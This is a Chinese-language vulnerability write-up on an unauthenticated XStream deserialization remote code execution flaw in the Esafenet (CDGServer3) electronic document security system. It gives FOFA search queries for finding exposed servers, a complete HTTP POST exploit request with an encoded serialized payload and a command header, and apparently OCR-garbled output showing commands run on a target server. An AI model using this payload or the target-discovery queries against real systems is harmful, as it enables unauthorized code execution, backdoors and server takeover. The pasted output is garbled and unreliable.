Y5-33亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/outgoingServlet?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

效果图:

```
Request
                                                                                                                                                〈 〉 数据包扫描 热加载 构造请求 👯
                                                                                                                                                                                                                                                Responses 2618bytes / 197ms
                                                                                                                                                                                                                                                                                                                                                                       美化 请输入定位响应
 1 POST: /CDGServer3/outgoingServlet?command=GETSYSTEMINFO-HTTP/1.1
                                                                                                                                                                                                                                                               Set-Cookie: JSESSIONID=96205A85F89EE5D521C6CB7D80D3B15D; Path=/CDGServer3;
                                                                                                                                                                                                                                                              Date: Fri, 02 Feb 2024-11:52:51 GMT
Connection: close
Content-Length: 2618
              \textbf{User-Agent: } \cdot \texttt{Mozilla/5.0} \cdot (\texttt{Windows} \cdot \texttt{NT} \cdot 6.4; \cdot \texttt{WOW64}) \cdot \texttt{AppleWebKit/537.36} \cdot (\texttt{KHTML}, \cdot \texttt{like} \cdot \texttt{Gecko}) \cdot \texttt{Chrome/41.0}.
               2225.0 Safari/537.36
              Accept-Encoding: gzip, deflate, br
Connection: close
              Content-Type: text/xml
                                                                                                                                                                                                                                                                 333-C-33333333
              cmd: dir
                                                                                                                                                                                                                                                                C:\Program Files (x86)\ESAFENET\CDocGuard Server\tomcat64\bin ???
             NNLTHELBITKEOGFIFLNWHIPNNOHFHECLEHKSCITHFKCMONPOPHOMWONIZOCNLPBOKNAEEBHFCIFNWOPDAACABKCKCAMEMBOTBGOHN
EIPJAOGBILOWILGGAENLP AFBEKPPELKLGEEMBMMKKIBMPHCIOOCCENGVEGDHPHLONGOGENCPTGOFWOMPEGIJNKEKOPH
MFGBDOTOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAWAGEELEHJEEIDBDILLANAKCIIGLWDIDDMOPNCNGLPPOWMIGCEFEBIMDHFA
GLHIDHPJCHAEHFPHHJGIKJDCINLAHOAPCDJNIZABOOKBFABJWFIEMLLPGGKINNNFCAOBHCOEOHCBFOFGBBPLKPHLLDOCAJAJODPOP
BEKKKPHOPBHFLJINOGLASIPHIGOFFCPCLPAGLEGAACAGAJZAFEFOLKOLEVAHHFBOJJAGLYSKEFMOKBEECKJSPCECHKFPPKKEGIOB
HIBIBAGBIKAMOFLEKDKODWHGJOCEPEBNIHPFKEKKMCENNPHEODFNIJOPHHPPNFTJEEDPPIMGPKHDOACKEEJACLCOKIPFHHECFDF
JNNITROHLCOFLPDACOOALCHKBOEBPNPCKCKNJJJJANLFPKGLOINAIDOAJMHAEDLBNONDJHPFELIJIMLHHEMBFGGHELOBFHIFALD
LIMBFCOHHBADOMLCIXCHOPINOLPHONDC-PHONGKOMENTHOLEGWOKAPADHVOPPIFFBPFCHAPDTAJILKLOLBBJNYGCGHELOBFHIFALD
LIMBFCOHHBADOMLCIXCHOPINOLPHONDC-PHONGKOMENTHOLEGWOKAPADHVOPPIFFBPFCHAPDTAJILKLOLBBJNYGCGHELOBFHIFALD
LOWKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHWKKNDHLCGIWWNKWBJDGIDJWMGEOEGJNJONNEKFDWEAHMILDKIFB
GKGEJCKGOFEKGJEWMAFLDGEEOBKOHADBAWHBWDJOGFFPMDKIILGAEELNEOAKNEFHOOGHOPBDICEGALJIENFKHFCEHWPBJLCFPOHD
GRBFTWHKLLEILHOMPDJAIETJD JPPMAEHHBNEDTDLCKYCKAFBEFBFRBGIEGECDTIXVONKYEKDNUTWPBJCCKHOHDAJHHDXDKFGJOGDJDJ
                                                                                                                                                                                                                                                               2024/02/01--20:48----(DIR)--
                                                                                                                                                                                                                                                              2024/02/01··20:48·
2023/06/01··22:12·
                                                                                                                                                                                                                                                               2023/06/01 · · 22:12 · · · · · · · ·
                                                                                                                                                                                                                                                                                                                            -1.703-catalina-tasks.xml
                                                                                                                                                                                                                                                                                                        2023/06/01 - 22:12
                                                                                                                                                                                                                                                               2023/06/01 -- 22:12-
              ···2,123-ciphers.bat
···1,997-ciphers.sh
·214,019-commons-daeme
                                                                                                                                                                                                                                                                                                                         - 25,765 commons-daemon.jar
                                                                                                                                                                                                                                                              2023/06/01 - - 22:12 -
                                                                                                                                                                                                                                                                                                                           -- 2,040 configtest.bat
                                                                                                                                                                                                                                                               2023/06/01 - 22:12
                                                                                                                                                                                                                                                                                                                           ··1,922-configtest.sh
```